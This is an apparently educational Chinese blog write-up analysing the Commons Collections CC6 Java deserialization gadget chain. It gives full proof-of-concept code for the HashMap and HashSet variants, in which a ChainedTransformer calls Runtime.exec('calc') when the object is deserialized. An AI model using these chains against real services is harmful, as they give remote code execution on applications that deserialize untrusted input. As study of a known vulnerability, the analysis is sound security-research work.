CC鏈6的分析與利用
經過之前對CC1鏈和URLDNS鏈的分析,感覺自己對反序列化也有了個比較清晰的認知。分析了這兩條鏈子後就該分析CC6了,這條鏈子不受jdk的版本影響,並且只要commons collections 小於等於3.2.1,都存在這個漏洞。
鏈子分析
變化
相比之前的CC1,在jdk8u_71之後,AnnotationInvocationHandler類被重寫了,修改了readObject方法,裡面沒有了setValue方法。
下面是 jdk_17.0.11 版本的AnnotationInvocationHandler
類中的readObject
方法:
可以看到沒有了setValue
方法的呼叫,那麼似乎就沒辦法利用CC1中的TransforMap鏈了。那利用另一條呢?
先把LazyMap呼叫get方法的構造寫出來(參考CC1的補充)
package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
public class CC6test {
public static void main(String[] args)throws Exception {
InvokerTransformer t = new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"});
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> Lazy = LazyMap.decorate(map,t);
Lazy.get(Runtime.getRuntime());
}
}
如果像之前一樣接著LazyMap繼續向上看,確實依然能發現invoke中還是呼叫了get方法,並且引數memberValues可控,但是下面readObject方法中的for迴圈,呼叫的引數不可控了,沒法讓其代理物件呼叫方法就沒法到Handler的invoke方法了。
所以這裡鏈子得另外找了,不過還是能繼承到CC1的一些東西,直接從LazyMap.get向上找。
HashMap鏈
TiedMapEntry.getValue()
發現TiedMapEntry.java中的getValue呼叫了get方法,跟進看看引數map可以控制不。
可以透過建構函式進行控制
那麼接下來就需要找誰呼叫了getValue方法,發現就在這個類裡面的hashCode呼叫了getValue方法。
TiedMapEntry.hashCode()
簡單測試構造:
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CC6test {
public static void main(String[] args)throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer cha = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> Lazy = LazyMap.decorate(map,cha);
TiedMapEntry Tie=new TiedMapEntry(Lazy,"aaa");
Tie.hashCode();
}
}
HashMap.hash()
接下來該幹什麼就不用多說了,因為還沒到readObject,所以還得繼續找誰呼叫了hashCode()方法,不過這個hashCode方法在之前的URLDNS鏈中也有用過,是在HashMap中的hash()方法進行的呼叫,到這裡就可以直接借用前面的URLDNS了,URLDNS鏈是:
Gadget Chain:
HashMap.readObject()
HashMap.hash()
URL.hashCode()
直接能夠到了readObject,這裡把最後就只用呼叫TiedMapEntry類的hashCode方法就行了。鏈子就變為了:
Gadget Chain:
HashMap.readObject()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
...
put方法提前呼叫解決
不過這裡也會出現另一個問題,在HashMap中的readObject的key值是透過HashMap.put進行賦值的,但在呼叫HashMap.put的時候也會觸發到hashCode()方法,導致反序列化失敗。
而且這裡不像URL.hashCode可以透過反射修改hashCode的值來避免,這裡是直接就呼叫了沒有條件,所以得另想它法了。
那麼可以在put的時候傳個其他的Transformer物件,這樣到最後就是呼叫的其他物件的transform方法了,然後再利用反射把factory引數改為ChainedTransformer,這樣再反序列化的時候就可以呼叫到ChainedTransformer的transform方法了。
構造:
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CC6test {
public static void main(String[] args)throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer cha = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> Lazy = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry Tie=new TiedMapEntry(Lazy,"aaa");
HashMap<Object,Object> hashmap = new HashMap<>();
hashmap.put(Tie,"gaoren");
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(Lazy, cha);
serilize(hashmap);
deserilize("ser.bin");
}
public static void serilize(Object obj)throws IOException {
ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("ser.bin"));
out.writeObject(obj);
}
public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
Object obj=in.readObject();
return obj;
}
}
不過最後能執行但是沒彈計算機。
get方法的問題解決
關鍵地方在get方法中:
除錯發現再第一次呼叫put到get方法時,會先進行一個if判斷就看Map中是否包含了key值,沒有就能成功執行到transform方法,但是看到下面還有一句map.put(key, value)
,會把沒有的key值put進Map中。
這就導致了後面再反序列化的侯,再次到達這個if的時候就會因為Map中有key值而無法執行transform方法,不過這個可以像上面的Transformer一樣,再put方法後反射呼叫修改key值或者直接刪除Map中的key值。
最後poc:
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
public class CC6test {
public static void main(String[] args)throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer cha = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> Lazy = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry Tie=new TiedMapEntry(Lazy,"aaa");
HashMap<Object,Object> hashmap = new HashMap<>();
hashmap.put(Tie,"gaoren");
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(Lazy, cha);
Lazy.remove("aaa");
// Object o=new Object();
// Class<TiedMapEntry> tie = TiedMapEntry.class;
// Field field = tie.getDeclaredField("key");
// Field modifiersField = Field.class.getDeclaredField("modifiers");
// modifiersField.setAccessible(true);
// modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
// field.setAccessible(true);
// field.set(Tie,"aaaaaaaa");
serilize(hashmap);
deserilize("111.bin");
}
public static void serilize(Object obj)throws IOException {
ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));
out.writeObject(obj);
}
public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
Object obj=in.readObject();
return obj;
}
}
HashSet鏈
HashSet.readObject()
hashset中的readObject方法在最後會觸發put,剩下的就不用說了,put就會上面說的put一樣了,最後可以觸發到hashcode方法:
但是這裡需要吧e變為TiedMapEntry物件,這樣才能觸發到TiedMapEntry的hashcode方法。
在HashSet中提供了add方法,可以利用add對e賦值
poc:
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
public class CC6test {
public static void main(String[] args)throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer cha = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> Lazy = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry Tie=new TiedMapEntry(Lazy,"aaa");
HashSet set=new HashSet();
set.add(Tie);
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(Lazy, cha);
Lazy.remove("aaa");
// Object o=new Object();
// Class<TiedMapEntry> tie = TiedMapEntry.class;
// Field field = tie.getDeclaredField("key");
// Field modifiersField = Field.class.getDeclaredField("modifiers");
// modifiersField.setAccessible(true);
// modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
// field.setAccessible(true);
// field.set(Tie,"aaaaaaaa");
serilize(set);
deserilize("111.bin");
}
public static void serilize(Object obj)throws IOException {
ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));
out.writeObject(obj);
}
public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
Object obj=in.readObject();
return obj;
}
}
番外
在一開始除錯CC6的時候,為了對比其和CC1的區別,我把jdk版本改為了jdku71然後下載sun包原始碼,直接把CC1的LazyMap鏈複製過去。
執行:
報錯沒什麼好說的。
斷點除錯:
?怎麼給我跳了三個計算機,在invoke方法打上斷點發現竟然還能觸發invoke方法,後面把序列化去掉後還是彈三個計算機,反正搗鼓了很久,最後在b站白日夢組長
CC6評論區破案,是IDEA偵錯程式問題,關掉下面兩個就好了。
參考:https://blog.csdn.net/lkforce/article/details/90479650